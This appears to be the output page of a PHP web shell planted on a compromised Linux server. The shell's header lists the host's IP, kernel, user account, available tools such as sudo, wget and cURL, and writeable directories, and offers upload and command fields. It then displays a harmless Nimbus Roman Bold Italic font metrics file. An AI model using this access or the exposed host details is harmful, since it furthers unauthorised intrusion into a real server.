SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 18.191.120.103
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/fonts/urw-base35/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/fonts/urw-base35/NimbusRoman-BoldItalic.afm
StartFontMetrics 3.0
Comment Copyright (URW)++,Copyright 2014 by (URW)++ Design & Development
Comment Creation Date: 5/17/2017
FontName NimbusRoman-BoldItalic
FullName Nimbus Roman Bold Italic
FamilyName Nimbus Roman
Weight Bold
ItalicAngle -15.0
IsFixedPitch false
UnderlinePosition -109
UnderlineThickness 69
Version 1.00
Notice (URW)++,Copyright 2014 by (URW)++ Design & Development
EncodingScheme AdobeStandardEncoding
FontBBox -200 -324 1154 972
CapHeight 669
XHeight 449
Descender 0
Ascender 0
StartCharMetrics 855
C 32 ; WX 250 ; N space ; B 125 0 125 0 ;
C 33 ; WX 389 ; N exclam ; B 67 -13 370 684 ;
C 34 ; WX 555 ; N quotedbl ; B 136 398 536 685 ;
C 35 ; WX 500 ; N numbersign ; B -33 0 533 700 ;
C 36 ; WX 500 ; N dollar ; B -20 -100 497 733 ;
C 37 ; WX 833 ; N percent ; B 39 -10 793 692 ;
C 38 ; WX 778 ; N ampersand ; B 5 -19 699 682 ;
C 39 ; WX 333 ; N quoteright ; B 98 369 302 685 ;
C 40 ; WX 333 ; N parenleft ; B 28 -179 344 685 ;
C 41 ; WX 333 ; N parenright ; B -44 -179 271 685 ;
C 42 ; WX 500 ; N asterisk ; B 65 252 456 685 ;
C 43 ; WX 570 ; N plus ; B 33 0 537 506 ;
C 44 ; WX 250 ; N comma ; B -60 -182 144 134 ;
C 45 ; WX 333 ; N hyphen ; B 2 166 271 282 ;
C 46 ; WX 250 ; N period ; B -9 -13 139 135 ;
C 47 ; WX 278 ; N slash ; B -64 -18 342 685 ;
C 48 ; WX 500 ; N zero ; B 17 -14 477 683 ;
C 49 ; WX 500 ; N one ; B 5 0 419 683 ;
C 50 ; WX 500 ; N two ; B -27 0 446 683 ;
C 51 ; WX 500 ; N three ; B -15 -13 450 683 ;
C 52 ; WX 500 ; N four ; B -15 0 503 683 ;
C 53 ; WX 500 ; N five ; B -11 -13 487 669 ;
C 54 ; WX 500 ; N six ; B 23 -15 509 679 ;
C 55 ; WX 500 ; N seven ; B 52 0 525 669 ;
C 56 ; WX 500 ; N eight ; B 3 -13 476 683 ;
C 57 ; WX 500 ; N nine ; B -12 -10 475 683 ;
C 58 ; WX 333 ; N colon ; B 23 -13 264 459 ;
C 59 ; WX 333 ; N semicolon ; B -25 -183 264 459 ;
C 60 ; WX 570 ; N less ; B 51 26 553 601 ;
C 61 ; WX 570 ; N equal ; B 33 107 537 399 ;
C 62 ; WX 570 ; N greater ; B 9 26 511 601 ;
C 63 ; WX 500 ; N question ; B 79 -13 470 684 ;
C 64 ; WX 832 ; N at ; B 63 -18 770 685 ;
C 65 ; WX 667 ; N A ; B -67 0 593 683 ;
C 66 ; WX 667 ; N B ; B -24 0 624 669 ;
C 67 ; WX 667 ; N C ; B 32 -18 677 685 ;
C 68 ; WX 722 ; N D ; B -46 0 685 669 ;
C 69 ; WX 667 ; N E ; B -27 0 653 669 ;
C 70 ; WX 667 ; N F ; B -13 0 660 669 ;
C 71 ; WX 722 ; N G ; B 21 -18 706 685 ;
C 72 ; WX 778 ; N H ; B -24 0 799 669 ;
C 73 ; WX 389 ; N I ; B -32 0 406 669 ;
C 74 ; WX 500 ; N J ; B -46 -99 524 669 ;
C 75 ; WX 667 ; N K ; B -21 0 702 669 ;
C 76 ; WX 611 ; N L ; B -22 0 590 669 ;
C 77 ; WX 889 ; N M ; B -29 -12 917 669 ;
C 78 ; WX 722 ; N N ; B -27 -15 748 669 ;
C 79 ; WX 722 ; N O ; B 27 -18 691 685 ;
C 80 ; WX 611 ; N P ; B -27 0 613 669 ;
C 81 ; WX 722 ; N Q ; B 27 -208 691 685 ;
C 82 ; WX 667 ; N R ; B -29 0 623 669 ;
C 83 ; WX 556 ; N S ; B 2 -18 526 685 ;
C 84 ; WX 611 ; N T ; B 50 0 650 669 ;
C 85 ; WX 722 ; N U ; B 67 -18 744 669 ;
C 86 ; WX 667 ; N V ; B 65 -18 715 669 ;
C 87 ; WX 889 ; N W ; B 65 -18 940 669 ;
C 88 ; WX 667 ; N X ; B -24 0 694 669 ;
C 89 ; WX 611 ; N Y ; B 73 0 659 669 ;
C 90 ; WX 611 ; N Z ; B -11 0 590 669 ;
C 91 ; WX 333 ; N bracketleft ; B -37 -159 362 674 ;
C 92 ; WX 278 ; N backslash ; B -1 -18 279 685 ;
C 93 ; WX 333 ; N bracketright ; B -56 -157 343 674 ;
C 94 ; WX 570 ; N asciicircum ; B 95 307 536 676 ;
C 95 ; WX 500 ; N underscore ; B -25 -143 472 -74 ;
C 96 ; WX 333 ; N quoteleft ; B 128 369 332 685 ;
C 97 ; WX 500 ; N a ; B -21 -14 455 462 ;
C 98 ; WX 500 ; N b ; B -14 -13 444 699 ;
C 99 ; WX 444 ; N c ; B -5 -13 392 462 ;
C 100 ; WX 500 ; N d ; B -21 -13 517 699 ;
C 101 ; WX 444 ; N e ; B 5 -13 398 462 ;
C 102 ; WX 333 ; N f ; B -169 -205 446 698 ;
C 103 ; WX 500 ; N g ; B -52 -203 478 462 ;
C 104 ; WX 556 ; N h ; B -13 -9 498 699 ;
C 105 ; WX 278 ; N i ; B 2 -9 263 684 ;
C 106 ; WX 278 ; N j ; B -189 -207 279 684 ;
C 107 ; WX 500 ; N k ; B -23 -8 483 699 ;
C 108 ; WX 278 ; N l ; B 2 -9 290 699 ;
C 109 ; WX 778 ; N m ; B -14 -9 722 462 ;
C 110 ; WX 556 ; N n ; B -6 -9 493 462 ;
C 111 ; WX 500 ; N o ; B -3 -13 441 462 ;
C 112 ; WX 500 ; N p ; B -120 -205 446 462 ;
C 113 ; WX 500 ; N q ; B 1 -205 471 462 ;
C 114 ; WX 389 ; N r ; B -21 0 389 462 ;
C 115 ; WX 389 ; N s ; B -19 -13 333 462 ;
C 116 ; WX 278 ; N t ; B -11 -9 281 594 ;
C 117 ; WX 556 ; N u ; B 15 -9 492 462 ;
C 118 ; WX 444 ; N v ; B 16 -13 401 462 ;
C 119 ; WX 667 ; N w ; B 16 -13 614 462 ;
C 120 ; WX 500 ; N x ; B -46 -13 469 462 ;
C 121 ; WX 444 ; N y ; B -94 -205 392 462 ;
C 122 ; WX 389 ; N z ; B -43 -78 368 449 ;
C 123 ; WX 348 ; N braceleft ; B 5 -187 436 686 ;
C 124 ; WX 220 ; N bar ; B 66 -250 154 748 ;
C 125 ; WX 348 ; N braceright ; B -129 -187 302 686 ;
C 126 ; WX 570 ; N asciitilde ; B 53 180 520 337 ;
C 161 ; WX 389 ; N exclamdown ; B 19 -205 322 492 ;
C 162 ; WX 500 ; N cent ; B 42 -143 439 576 ;
C 163 ; WX 500 ; N sterling ; B -32 -12 510 683 ;
C 164 ; WX 167 ; N fraction ; B -169 -14 324 683 ;
C 165 ; WX 500 ; N yen ; B 33 0 628 669 ;
C 166 ; WX 500 ; N florin ; B -87 -156 537 707 ;
C 167 ; WX 500 ; N section ; B 36 -143 459 685 ;
C 168 ; WX 500 ; N currency ; B 34 27 476 469 ;
C 169 ; WX 278 ; N quotesingle ; B 128 398 268 685 ;
C 170 ; WX 500 ; N quotedblleft ; B 53 369 513 685 ;
C 171 ; WX 500 ; N guillemotleft ; B 12 32 468 415 ;
C 172 ; WX 333 ; N guilsinglleft ; B 32 32 303 415 ;
C 173 ; WX 333 ; N guilsinglright ; B 10 32 281 415 ;
C 174 ; WX 556 ; N fi ; B -188 -205 514 703 ;
C 175 ; WX 556 ; N fl ; B -186 -205 553 704 ;
C 177 ; WX 500 ; N endash ; B -40 178 477 269 ;
C 178 ; WX 500 ; N dagger ; B 91 -145 494 685 ;
C 179 ; WX 500 ; N daggerdbl ; B 10 -139 493 685 ;
C 180 ; WX 250 ; N periodcentered ; B 51 257 199 405 ;
C 182 ; WX 500 ; N paragraph ; B -57 -193 562 669 ;
C 183 ; WX 350 ; N bullet ; B 26 201 331 506 ;
C 184 ; WX 333 ; N quotesinglbase ; B -5 -182 199 134 ;
C 185 ; WX 500 ; N quotedblbase ; B -57 -182 403 134 ;
C 186 ; WX 500 ; N quotedblright ; B 53 369 513 685 ;
C 187 ; WX 500 ; N guillemotright ; B 12 32 468 415 ;
C 188 ; WX 1000 ; N ellipsis ; B 40 -13 852 135 ;
C 189 ; WX 1000 ; N perthousand ; B 7 -29 996 706 ;
C 191 ; WX 500 ; N questiondown ; B 30 -205 421 492 ;
C 193 ; WX 333 ; N grave ; B 85 516 297 697 ;
C 194 ; WX 333 ; N acute ; B 139 516 379 697 ;
C 195 ; WX 333 ; N circumflex ; B 40 516 367 690 ;
C 196 ; WX 333 ; N tilde ; B 48 536 407 655 ;
C 197 ; WX 333 ; N macron ; B 51 553 393 623 ;
C 198 ; WX 333 ; N breve ; B 71 516 387 678 ;
C 199 ; WX 333 ; N dotaccent ; B 163 525 293 655 ;
C 200 ; WX 333 ; N dieresis ; B 55 525 397 655 ;
C 202 ; WX 333 ; N ring ; B 127 541 340 754 ;
C 203 ; WX 333 ; N cedilla ; B -80 -218 156 5 ;
C 205 ; WX 333 ; N hungarumlaut ; B 69 516 498 697 ;
C 206 ; WX 333 ; N ogonek ; B -40 -173 189 44 ;
C 207 ; WX 333 ; N caron ; B 79 516 411 690 ;
C 208 ; WX 1000 ; N emdash ; B -40 178 977 269 ;
C 225 ; WX 944 ; N AE ; B -64 0 918 669 ;
C 227 ; WX 266 ; N ordfeminine ; B 16 399 330 685 ;
C 232 ; WX 611 ; N Lslash ; B -22 0 590 669 ;
C 233 ; WX 722 ; N Oslash ; B 27 -125 691 764 ;
C 234 ; WX 944 ; N OE ; B 23 -11 946 677 ;
C 235 ; WX 300 ; N ordmasculine ; B 56 400 350 685 ;
C 241 ; WX 722 ; N ae ; B -5 -13 673 462 ;
C 245 ; WX 278 ; N dotlessi ; B 2 -9 238 462 ;
C 248 ; WX 278 ; N lslash ; B -13 -9 301 699 ;
C 249 ; WX 500 ; N oslash ; B -3 -119 441 560 ;
C 250 ; WX 722 ; N oe ; B 6 -13 674 462 ;
C 251 ; WX 500 ; N germandbls ; B -200 -200 473 705 ;
C -1 ; WX 250 ; N .notdef ; B 125 0 125 0 ;
C -1 ; WX 944 ; N AEacute ; B -64 0 918 916 ;
C -1 ; WX 667 ; N Aacute ; B -67 0 593 904 ;
C -1 ; WX 667 ; N Abreve ; B -67 0 593 888 ;
C -1 ; WX 667 ; N Acircumflex ; B -67 0 593 897 ;
C -1 ; WX 667 ; N Adieresis ; B -67 0 593 862 ;
C -1 ; WX 667 ; N Agrave ; B -67 0 593 904 ;
C -1 ; WX 667 ; N Alpha ; B -22 0 538 662 ;
C -1 ; WX 667 ; N Alphatonos ; B -22 0 538 672 ;
C -1 ; WX 667 ; N Amacron ; B -67 0 593 833 ;
C -1 ; WX 667 ; N Aogonek ; B -67 -173 729 683 ;
C -1 ; WX 667 ; N Aring ; B -67 0 593 949 ;
C -1 ; WX 667 ; N Aringacute ; B -67 0 593 972 ;
C -1 ; WX 667 ; N Atilde ; B -67 0 593 862 ;
C -1 ; WX 667 ; N Beta ; B 28 0 621 662 ;
C -1 ; WX 667 ; N Cacute ; B 32 -18 677 907 ;
C -1 ; WX 667 ; N Ccaron ; B 32 -18 677 900 ;
C -1 ; WX 667 ; N Ccedilla ; B 32 -218 677 685 ;
C -1 ; WX 674 ; N Ccircumflex ; B 32 -18 677 900 ;
C -1 ; WX 667 ; N Cdotaccent ; B 32 -18 677 865 ;
C -1 ; WX 667 ; N Chi ; B 13 0 710 662 ;
C -1 ; WX 722 ; N Dcaron ; B -46 0 685 900 ;
C -1 ; WX 722 ; N Dcroat ; B -31 0 700 669 ;
C -1 ; WX 667 ; N Delta ; B 33 0 635 688 ;
C -1 ; WX 667 ; N Eacute ; B -27 0 653 904 ;
C -1 ; WX 667 ; N Ebreve ; B -27 0 653 888 ;
C -1 ; WX 667 ; N Ecaron ; B -27 0 653 900 ;
C -1 ; WX 667 ; N Ecircumflex ; B -27 0 653 897 ;
C -1 ; WX 667 ; N Edieresis ; B -27 0 653 862 ;
C -1 ; WX 667 ; N Edotaccent ; B -27 0 653 865 ;
C -1 ; WX 667 ; N Egrave ; B -27 0 653 904 ;
C -1 ; WX 667 ; N Emacron ; B -27 0 653 833 ;
C -1 ; WX 722 ; N Eng ; B -27 -207 748 669 ;
C -1 ; WX 667 ; N Eogonek ; B -27 -173 667 669 ;
C -1 ; WX 667 ; N Epsilon ; B 44 0 667 662 ;
C -1 ; WX 777 ; N Epsilontonos ; B 99 0 788 672 ;
C -1 ; WX 778 ; N Eta ; B 24 0 811 662 ;
C -1 ; WX 895 ; N Etatonos ; B 84 0 936 672 ;
C -1 ; WX 722 ; N Eth ; B -31 0 700 669 ;
C -1 ; WX 500 ; N Euro ; B 53 -5 666 689 ;
C -1 ; WX 604 ; N Gamma ; B -45 0 667 662 ;
C -1 ; WX 722 ; N Gbreve ; B 21 -18 706 888 ;
C -1 ; WX 730 ; N Gcircumflex ; B 21 -18 706 897 ;
C -1 ; WX 722 ; N Gcommaaccent ; B 21 -324 706 685 ;
C -1 ; WX 722 ; N Gdotaccent ; B 21 -18 706 865 ;
C -1 ; WX 722 ; N H18533 ; B 147 67 577 497 ;
C -1 ; WX 500 ; N H18543 ; B 68 178 433 543 ;
C -1 ; WX 500 ; N H18551 ; B 68 178 433 543 ;
C -1 ; WX 778 ; N Hbar ; B -24 0 799 669 ;
C -1 ; WX 786 ; N Hcircumflex ; B -23 0 800 897 ;
C -1 ; WX 860 ; N IJ ; B 44 -9 881 662 ;
C -1 ; WX 389 ; N Iacute ; B -32 0 407 907 ;
C -1 ; WX 389 ; N Ibreve ; B -32 0 453 888 ;
C -1 ; WX 389 ; N Icircumflex ; B -32 0 420 897 ;
C -1 ; WX 389 ; N Idieresis ; B -32 0 445 862 ;
C -1 ; WX 389 ; N Idotaccent ; B -32 0 406 865 ;
C -1 ; WX 722 ; N Ifraktur ; B 73 -71 650 695 ;
C -1 ; WX 389 ; N Igrave ; B -32 0 406 904 ;
C -1 ; WX 389 ; N Imacron ; B -32 0 461 833 ;
C -1 ; WX 389 ; N Iogonek ; B -32 -173 406 669 ;
C -1 ; WX 389 ; N Iota ; B 11 0 434 662 ;
C -1 ; WX 389 ; N Iotadieresis ; B 11 0 489 830 ;
C -1 ; WX 506 ; N Iotatonos ; B 71 0 559 672 ;
C -1 ; WX 389 ; N Itilde ; B -31 0 487 856 ;
C -1 ; WX 505 ; N Jcircumflex ; B -43 -99 564 920 ;
C -1 ; WX 667 ; N Kappa ; B 27 0 723 662 ;
C -1 ; WX 667 ; N Kcommaaccent ; B -21 -324 702 669 ;
C -1 ; WX 611 ; N Lacute ; B -22 0 590 907 ;
C -1 ; WX 667 ; N Lambda ; B -22 0 538 662 ;
C -1 ; WX 611 ; N Lcaron ; B -22 0 651 685 ;
C -1 ; WX 611 ; N Lcommaaccent ; B -22 -324 590 669 ;
C -1 ; WX 611 ; N Ldot ; B -22 0 590 669 ;
C -1 ; WX 889 ; N Mu ; B 2 0 937 662 ;
C -1 ; WX 722 ; N Nacute ; B -27 -15 748 907 ;
C -1 ; WX 722 ; N Ncaron ; B -27 -15 748 900 ;
C -1 ; WX 722 ; N Ncommaaccent ; B -27 -324 748 669 ;
C -1 ; WX 722 ; N Ntilde ; B -27 -15 748 862 ;
C -1 ; WX 722 ; N Nu ; B 14 0 762 662 ;
C -1 ; WX 722 ; N Oacute ; B 27 -18 691 904 ;
C -1 ; WX 722 ; N Obreve ; B 27 -18 691 888 ;
C -1 ; WX 722 ; N Ocircumflex ; B 27 -18 691 897 ;
C -1 ; WX 722 ; N Odieresis ; B 27 -18 691 862 ;
C -1 ; WX 722 ; N Ograve ; B 27 -18 691 904 ;
C -1 ; WX 722 ; N Ohungarumlaut ; B 27 -18 693 907 ;
C -1 ; WX 722 ; N Omacron ; B 27 -18 691 833 ;
C -1 ; WX 785 ; N Omegatonos ; B 68 0 778 672 ;
C -1 ; WX 722 ; N Omicron ; B 72 -9 700 672 ;
C -1 ; WX 731 ; N Omicrontonos ; B 48 -9 762 672 ;
C -1 ; WX 722 ; N Oslashacute ; B 27 -125 691 914 ;
C -1 ; WX 722 ; N Otilde ; B 27 -18 691 862 ;
C -1 ; WX 789 ; N Phi ; B 47 -30 795 692 ;
C -1 ; WX 778 ; N Pi ; B 24 0 811 662 ;
C -1 ; WX 800 ; N Psi ; B 115 0 900 676 ;
C -1 ; WX 667 ; N Racute ; B -29 0 623 907 ;
C -1 ; WX 667 ; N Rcaron ; B -29 0 623 900 ;
C -1 ; WX 667 ; N Rcommaaccent ; B -29 -324 623 669 ;
C -1 ; WX 778 ; N Rfraktur ; B 72 -6 693 604 ;
C -1 ; WX 611 ; N Rho ; B 29 0 622 662 ;
C -1 ; WX 1000 ; N SF010000 ; B 467 -250 1000 283 ;
C -1 ; WX 1000 ; N SF020000 ; B 467 217 1000 750 ;
C -1 ; WX 1000 ; N SF030000 ; B 0 -250 533 283 ;
C -1 ; WX 1000 ; N SF040000 ; B 0 217 533 750 ;
C -1 ; WX 1000 ; N SF050000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF060000 ; B 0 -250 1000 283 ;
C -1 ; WX 1000 ; N SF070000 ; B 0 217 1000 750 ;
C -1 ; WX 1000 ; N SF080000 ; B 467 -250 1000 750 ;
C -1 ; WX 1000 ; N SF090000 ; B 0 -250 533 750 ;
C -1 ; WX 1000 ; N SF100000 ; B 0 217 1000 283 ;
C -1 ; WX 1000 ; N SF110000 ; B 467 -250 533 750 ;
C -1 ; WX 1000 ; N SF190000 ; B 0 -250 533 750 ;
C -1 ; WX 1000 ; N SF200000 ; B 0 -250 599 750 ;
C -1 ; WX 1000 ; N SF210000 ; B 0 -250 599 283 ;
C -1 ; WX 1000 ; N SF220000 ; B 0 -250 533 349 ;
C -1 ; WX 1000 ; N SF230000 ; B 0 -250 599 750 ;
C -1 ; WX 1000 ; N SF240000 ; B 401 -250 599 750 ;
C -1 ; WX 1000 ; N SF250000 ; B 0 -250 599 349 ;
C -1 ; WX 1000 ; N SF260000 ; B 0 151 599 750 ;
C -1 ; WX 1000 ; N SF270000 ; B 0 217 599 750 ;
C -1 ; WX 1000 ; N SF280000 ; B 0 151 533 750 ;
C -1 ; WX 1000 ; N SF360000 ; B 467 -250 1000 750 ;
C -1 ; WX 1000 ; N SF370000 ; B 401 -250 1000 750 ;
C -1 ; WX 1000 ; N SF380000 ; B 401 151 1000 750 ;
C -1 ; WX 1000 ; N SF390000 ; B 401 -250 1000 349 ;
C -1 ; WX 1000 ; N SF400000 ; B 0 151 1000 750 ;
C -1 ; WX 1000 ; N SF410000 ; B 0 -250 1000 349 ;
C -1 ; WX 1000 ; N SF420000 ; B 401 -250 1000 750 ;
C -1 ; WX 1000 ; N SF430000 ; B 0 151 1000 349 ;
C -1 ; WX 1000 ; N SF440000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF450000 ; B 0 151 1000 750 ;
C -1 ; WX 1000 ; N SF460000 ; B 0 217 1000 750 ;
C -1 ; WX 1000 ; N SF470000 ; B 0 -250 1000 349 ;
C -1 ; WX 1000 ; N SF480000 ; B 0 -250 1000 283 ;
C -1 ; WX 1000 ; N SF490000 ; B 401 217 1000 750 ;
C -1 ; WX 1000 ; N SF500000 ; B 467 151 1000 750 ;
C -1 ; WX 1000 ; N SF510000 ; B 467 -250 1000 349 ;
C -1 ; WX 1000 ; N SF520000 ; B 401 -250 1000 283 ;
C -1 ; WX 1000 ; N SF530000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF540000 ; B 0 -250 1000 750 ;
C -1 ; WX 556 ; N Sacute ; B 2 -18 526 907 ;
C -1 ; WX 556 ; N Scaron ; B 2 -18 526 897 ;
C -1 ; WX 556 ; N Scedilla ; B 2 -218 526 685 ;
C -1 ; WX 562 ; N Scircumflex ; B 3 -18 527 897 ;
C -1 ; WX 556 ; N Scommaaccent ; B 2 -324 526 685 ;
C -1 ; WX 619 ; N Sigma ; B -100 0 618 663 ;
C -1 ; WX 611 ; N Tau ; B 89 0 650 662 ;
C -1 ; WX 611 ; N Tbar ; B 50 0 650 669 ;
C -1 ; WX 611 ; N Tcaron ; B 50 0 650 900 ;
C -1 ; WX 611 ; N Tcommaaccent ; B 50 -218 650 669 ;
C -1 ; WX 763 ; N Theta ; B 17 -17 725 679 ;
C -1 ; WX 611 ; N Thorn ; B -27 0 573 669 ;
C -1 ; WX 722 ; N Uacute ; B 67 -18 744 904 ;
C -1 ; WX 730 ; N Ubreve ; B 67 -18 744 895 ;
C -1 ; WX 722 ; N Ucircumflex ; B 67 -18 744 897 ;
C -1 ; WX 722 ; N Udieresis ; B 67 -18 744 862 ;
C -1 ; WX 722 ; N Ugrave ; B 67 -18 744 904 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 67 -18 744 907 ;
C -1 ; WX 722 ; N Umacron ; B 67 -18 744 833 ;
C -1 ; WX 722 ; N Uogonek ; B 67 -173 744 669 ;
C -1 ; WX 611 ; N Upsilon ; B 115 0 706 662 ;
C -1 ; WX 611 ; N Upsilondieresis ; B 115 0 706 830 ;
C -1 ; WX 750 ; N Upsilontonos ; B 54 0 822 672 ;
C -1 ; WX 722 ; N Uring ; B 67 -18 744 964 ;
C -1 ; WX 722 ; N Utilde ; B 67 -18 744 859 ;
C -1 ; WX 889 ; N Wacute ; B 65 -18 940 907 ;
C -1 ; WX 889 ; N Wcircumflex ; B 65 -18 940 900 ;
C -1 ; WX 889 ; N Wdieresis ; B 65 -18 940 865 ;
C -1 ; WX 889 ; N Wgrave ; B 65 -18 940 907 ;
C -1 ; WX 659 ; N Xi ; B 45 0 675 662 ;
C -1 ; WX 611 ; N Yacute ; B 73 0 659 904 ;
C -1 ; WX 611 ; N Ycircumflex ; B 73 0 659 900 ;
C -1 ; WX 611 ; N Ydieresis ; B 73 0 659 862 ;
C -1 ; WX 611 ; N Ygrave ; B 73 0 659 907 ;
C -1 ; WX 611 ; N Zacute ; B -11 0 590 907 ;
C -1 ; WX 611 ; N Zcaron ; B -11 0 590 897 ;
C -1 ; WX 611 ; N Zdotaccent ; B -11 0 590 865 ;
C -1 ; WX 611 ; N Zeta ; B -18 0 655 662 ;
C -1 ; WX 500 ; N aacute ; B -21 -14 463 697 ;
C -1 ; WX 500 ; N abreve ; B -21 -14 471 678 ;
C -1 ; WX 500 ; N acircumflex ; B -21 -14 455 690 ;
C -1 ; WX 500 ; N adieresis ; B -21 -14 471 655 ;
C -1 ; WX 722 ; N aeacute ; B -5 -13 673 697 ;
C -1 ; WX 1000 ; N afii00208 ; B -40 178 977 269 ;
C -1 ; WX 667 ; N afii10017 ; B -22 0 538 662 ;
C -1 ; WX 635 ; N afii10018 ; B 31 0 644 662 ;
C -1 ; WX 667 ; N afii10019 ; B 28 0 621 662 ;
C -1 ; WX 604 ; N afii10020 ; B 52 0 672 662 ;
C -1 ; WX 683 ; N afii10021 ; B -85 -169 718 662 ;
C -1 ; WX 667 ; N afii10022 ; B 44 0 667 662 ;
C -1 ; WX 667 ; N afii10023 ; B 44 0 667 853 ;
C -1 ; WX 918 ; N afii10024 ; B -47 0 1004 662 ;
C -1 ; WX 509 ; N afii10025 ; B -15 -13 513 675 ;
C -1 ; WX 778 ; N afii10026 ; B 25 0 815 662 ;
C -1 ; WX 778 ; N afii10027 ; B 23 0 813 865 ;
C -1 ; WX 678 ; N afii10028 ; B 28 0 729 662 ;
C -1 ; WX 686 ; N afii10029 ; B -36 -11 714 662 ;
C -1 ; WX 889 ; N afii10030 ; B 2 0 943 662 ;
C -1 ; WX 778 ; N afii10031 ; B 24 0 811 662 ;
C -1 ; WX 722 ; N afii10032 ; B 71 -9 699 669 ;
C -1 ; WX 778 ; N afii10033 ; B 32 0 817 662 ;
C -1 ; WX 611 ; N afii10034 ; B 29 0 622 662 ;
C -1 ; WX 667 ; N afii10035 ; B 81 -10 699 675 ;
C -1 ; WX 611 ; N afii10036 ; B 89 0 650 662 ;
C -1 ; WX 696 ; N afii10037 ; B 85 -10 790 662 ;
C -1 ; WX 850 ; N afii10038 ; B 76 -30 824 692 ;
C -1 ; WX 667 ; N afii10039 ; B 13 0 710 662 ;
C -1 ; WX 778 ; N afii10040 ; B 26 -169 811 662 ;
C -1 ; WX 748 ; N afii10041 ; B 162 0 782 662 ;
C -1 ; WX 1126 ; N afii10042 ; B 33 0 1147 662 ;
C -1 ; WX 1126 ; N afii10043 ; B 40 -169 1154 662 ;
C -1 ; WX 760 ; N afii10044 ; B 137 0 679 662 ;
C -1 ; WX 969 ; N afii10045 ; B 13 0 1001 662 ;
C -1 ; WX 634 ; N afii10046 ; B 17 0 559 662 ;
C -1 ; WX 651 ; N afii10047 ; B 11 -13 625 675 ;
C -1 ; WX 1056 ; N afii10048 ; B 18 -9 1032 669 ;
C -1 ; WX 689 ; N afii10049 ; B -25 0 720 662 ;
C -1 ; WX 470 ; N afii10050 ; B 51 0 697 760 ;
C -1 ; WX 818 ; N afii10051 ; B 105 -7 739 662 ;
C -1 ; WX 604 ; N afii10052 ; B 52 0 672 894 ;
C -1 ; WX 657 ; N afii10053 ; B 68 -11 691 675 ;
C -1 ; WX 556 ; N afii10054 ; B 5 -8 572 669 ;
C -1 ; WX 389 ; N afii10055 ; B 11 0 434 662 ;
C -1 ; WX 389 ; N afii10056 ; B 11 0 495 853 ;
C -1 ; WX 500 ; N afii10057 ; B 3 -9 493 662 ;
C -1 ; WX 908 ; N afii10058 ; B -45 -11 816 662 ;
C -1 ; WX 976 ; N afii10059 ; B 28 0 925 662 ;
C -1 ; WX 811 ; N afii10060 ; B 73 0 726 662 ;
C -1 ; WX 678 ; N afii10061 ; B 33 0 729 894 ;
C -1 ; WX 696 ; N afii10062 ; B 85 -10 790 865 ;
C -1 ; WX 500 ; N afii10065 ; B 36 -10 451 455 ;
C -1 ; WX 499 ; N afii10066 ; B 74 -10 537 679 ;
C -1 ; WX 447 ; N afii10067 ; B 44 -10 430 455 ;
C -1 ; WX 369 ; N afii10068 ; B 16 -10 354 455 ;
C -1 ; WX 496 ; N afii10069 ; B 62 -10 466 681 ;
C -1 ; WX 444 ; N afii10070 ; B 48 -10 419 455 ;
C -1 ; WX 444 ; N afii10071 ; B 48 -10 471 660 ;
C -1 ; WX 952 ; N afii10072 ; B 72 -10 896 455 ;
C -1 ; WX 390 ; N afii10073 ; B 13 -10 369 455 ;
C -1 ; WX 556 ; N afii10074 ; B 78 -10 500 458 ;
C -1 ; WX 556 ; N afii10075 ; B 78 -10 500 660 ;
C -1 ; WX 507 ; N afii10076 ; B 42 -10 512 458 ;
C -1 ; WX 513 ; N afii10077 ; B 1 -10 452 445 ;
